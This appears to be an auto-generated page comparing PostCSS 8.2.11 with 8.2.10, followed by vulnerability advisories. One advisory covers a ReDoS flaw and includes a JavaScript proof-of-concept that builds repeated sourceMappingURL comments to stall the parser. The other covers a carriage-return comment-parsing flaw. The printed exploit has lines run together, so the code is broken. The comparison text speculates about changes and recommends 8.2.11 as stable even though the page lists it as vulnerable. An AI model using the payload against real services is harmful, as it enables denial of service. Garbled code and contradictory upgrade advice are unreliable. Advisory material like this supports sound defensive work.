PostCSS version 8.2.11 represents a subtle but notable refinement over its predecessor, version 8.2.10. Both versions serve as powerful tools empowering developers to transform styles using JavaScript plugins, offering a flexible and extensible architecture for CSS processing. Key benefits for developers include the ability to automate tedious tasks like vendor prefixing, future-proofing CSS syntax, and enforcing consistent coding styles across projects. Both versions depend on the same core libraries: nanoid for generating unique IDs, colorette for adding color to console output, and source-map for debugging.
While the core functionality appears unchanged, evidenced by identical dependency versions, closer inspection reveals minor differences. The unpacked size of version 8.2.11 is slightly larger at 180879 bytes compared to 8.2.10's 179759 bytes, suggesting internal code adjustments or addition of new assets. Another notable difference is the release date. Version 8.2.11 was released on April 22, 2021, about 11 days after version 8.2.10 (April 11, 2021). This indicates that version 8.2.11 likely incorporates bug fixes, performance improvements, or potentially minor feature enhancements implemented since the previous release. Developers should consider upgrading to the newer version to take advantage of these improvements and ensure they are working with the most up-to-date and stable release. The file count remains constant at 49, suggesting that the code changes might be within existing files.
All the vulnerabilities related to the version 8.2.11 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.